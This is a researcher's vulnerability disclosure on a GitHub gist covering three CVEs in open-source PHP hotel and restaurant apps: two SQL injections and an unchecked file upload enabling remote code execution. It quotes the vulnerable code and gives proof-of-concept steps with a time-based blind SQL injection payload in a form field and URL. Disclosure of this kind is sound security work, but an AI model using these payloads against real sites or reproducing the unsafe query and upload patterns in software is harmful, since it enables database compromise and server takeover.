Skip to content

Instantly share code, notes, and snippets.

@P0cas
Created January 24, 2022 13:59
Show Gist options
  • Save P0cas/5aa55f62781364a750ac4a4d47f319fa to your computer and use it in GitHub Desktop.
Save P0cas/5aa55f62781364a750ac4a4d47f319fa to your computer and use it in GitHub Desktop.
MartDevelopers-Inc

CVE-2021-45802

The iResturant is open source for web commercial use. SQL Injection occurs because iResturant does not verify email and phone parameters when registering as a member.

/* (...) */
session_start();
require_once('../config/codeGen.php');
require_once('../config/config.php');
require_once('../partials/head.php');

/* Sign Up */
if (isset($_POST['Sign_Up'])) {
    $id = $sys_gen_id;
    $name = $_POST['name'];
    $email = $_POST['email'];
    $phone = $_POST['phone'];
    $adr = $_POST['adr'];
    $client_country = $_POST['client_country'];
    /* Check If Passwords Match */
    if ($new_password = sha1(md5($_POST['new_password'])) != $confirm_password = sha1(md5($_POST['confirm_password']))) {
        $err  = "Passwords Do Not Match";
    } else {
        $sql = "SELECT * FROM  iResturant_Customer  WHERE  (email='$email' || phone = '$phone')  ";
        $res = mysqli_query($mysqli, $sql);
        if (mysqli_num_rows($res) > 0) {
            $row = mysqli_fetch_assoc($res);
            if ($email == $row['email'] || $phone == $row['phone']) {
                $err =  "A Client Account With This Email Or Phone Number Already Exists";
            }
        } 
/* (...) */
// https://github.com/MartDevelopers-Inc/iResturant/blob/main/views/my_signup.php#L31L40

The code above is the code for the subscription logic. If you look at the source code of the subscription logic, you can see that it gets the email and phone parameter values and puts them in SQL Query. This causes SQL Injection because are not using Prepared Statement.


Proof of Concept

1. Open the http://<hostname>/iResturant/views/my_signup.php
2. Change the input tag type to text, enter "a' AND (SELECT 8666 FROM (SELECT(SLEEP(5)))hhmy) AND 'ROfB'='ROfB" as the value of the email, and enter another form.
3. SQL Injection occurs when you try to join

Exploit Video : https://www.youtube.com/watch?v=QRd9J2aIjrY

Reporting Timeline

  • 2021-12-21 21h 05m : Reported this issue via the MITRE
  • 2022-01-06 05h 39m : Assigned a CVE-2021-45802

CVE-2021-45803

The iResturant is open source for web commercial use. When looking up my reservation, SQL Injection occurs because the value of the view parameter is not checked.

/* (...) */
        <!-- Top Bar Start -->
        <?php require_once('../partials/my_header.php');
        /* Load Room Details */
        $ret = "SELECT * FROM `iResturant_Currencies` WHERE status = 'Active'  ";
        $stmt = $mysqli->prepare($ret);
        $stmt->execute(); //ok
        $res = $stmt->get_result();
        while ($currency = $res->fetch_object()) {
            $view = $_GET['view'];
            $ret = "SELECT * FROM iResturant_Customer c
            INNER JOIN iResturant_Room_Reservation r ON c.id = r.client_id
            INNER JOIN iResturant_Room rm
            ON r.room_id = rm.id
            WHERE r.code = '$view'                                                     
                ";
            $stmt = $mysqli->prepare($ret);
            $stmt->execute(); //ok
            $res = $stmt->get_result();
            while ($reservation = $res->fetch_object()) 
/* (...) */
// https://github.com/MartDevelopers-Inc/iResturant/blob/main/views/my_reservation_details.php#L41L57

The code above is the code of my reservation inquiry logic. If you look at the code of the reservation inquiry logic, you can see that it gets the view parameter values and puts them in SQL Query. This causes SQL Injection because are not using Prepared Statement.


Proof of Concept

1. Open the http://<hostname>/iResturant/views/my_login.php
2. After Login, go to http://<hostname>/iResturant/views/my_reservation_details.php?view=a%27%20AND%20(SELECT%208666%20FROM%20(SELECT(SLEEP(5)))hhmy)%20AND%20%27ROfB%27=%27ROfB

Exploit Video : https://www.youtube.com/watch?v=Y2vd31zIVFM

Reporting Timeline

  • 2021-12-21 21h 39m : Reported this issue via the MITRE
  • 2022-01-06 05h 39m : Assigned a CVE-2021-45803

CVE-2021-46113

The KEA-Hotel-ERP open source provides a resource management system for hotels. A remote code execution vulnerability can be exploited by uploading PHP files using the file upload vulnerability in this service.

if (isset($_POST['Add_Room'])) {
    /* Error Handling And Add Room */
    $error = 0;
    if (isset($_POST['id']) && !empty($_POST['id'])) {
        $id = mysqli_real_escape_string($mysqli, trim($_POST['id']));
    } else {
        $error = 1;
        $err = "Room ID  Cannot Be Empty";
    }

    if (isset($_POST['number']) && !empty($_POST['number'])) {
        $number = mysqli_real_escape_string($mysqli, trim($_POST['number']));
    } else {
        $error = 1;
        $err = "Room Number  Cannot Be Empty";
    }

    if (isset($_POST['type']) && !empty($_POST['type'])) {
        $type = mysqli_real_escape_string($mysqli, trim($_POST['type']));
    } else {
        $error = 1;
        $err = "Room Type Cannot Be Empty";
    }

    if (isset($_POST['price']) && !empty($_POST['price'])) {
        $price = mysqli_real_escape_string($mysqli, trim($_POST['price']));
    } else {
        $error = 1;
        $err = "Room Price Cannot Be Empty";
    }

    if (isset($_POST['status']) && !empty($_POST['status'])) {
        $status = mysqli_real_escape_string($mysqli, trim($_POST['status']));
    } else {
        $error = 1;
        $err = "Room Status Cannot Be Empty";
    }

    if (isset($_POST['details']) && !empty($_POST['details'])) {
        $details = mysqli_real_escape_string($mysqli, trim($_POST['details']));
    } else {
        $error = 1;
        $err = "Room details Cannot Be Empty";
    }

    if (!$error) {
        //Prevent Double Entries
        $sql = "SELECT * FROM  rooms WHERE number = '$number'  ";
        $res = mysqli_query($mysqli, $sql);
        if (mysqli_num_rows($res) > 0) {
            $row = mysqli_fetch_assoc($res);
            if ($number == $row['number']) {
                $err =  "A Room With That Number Already Exists";
            } else {
                //
            }
        } else {
            $image = $_FILES['image']['name'];
            move_uploaded_file($_FILES["image"]["tmp_name"], "../public/uploads/rooms/" . $_FILES["image"]["name"]);
            $query = "INSERT INTO rooms (id, number, type, price, status, details, image) VALUES (?,?,?,?,?,?,?)";
            $stmt = $mysqli->prepare($query);
            $rc = $stmt->bind_param('sssssss', $id, $number, $type, $price, $status, $details, $image);
            $stmt->execute();
            if ($stmt) {
                $success = "Added" && header("refresh:1; url=rooms.php");
            } else {
                $info = "Please Try Again Or Try Later";
            }
        }
    }
}
// https://github.com/MartDevelopers-Inc/KEA-Hotel-ERP/blob/master/admin/rooms.php#L8L78

The code above is the working logic when adding new room information in /admin/rooms.php. Executes a SQL query based on the value of $number and checks whether a room with the same number exists. If not, the file upload logic is executed. If you look at the code, you can see that the parameter value is protecting to SQL Injection by using the mysqli_real_escape_string() function. However, verification of the file extension does not exist at all. Because this service is based on PHP, you could exploit a remote code execution vulnerability if you could upload PHP files!

Proof of Concept

Exploit Video : https://www.youtube.com/watch?v=gnSMrvV5e9w

Reporting Timeline

  • 2021-12-31 17h 13m : Reported this issue via the MITRE
  • 2022-01-06 05h 39m : Assigned a CVE-2021-46113

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment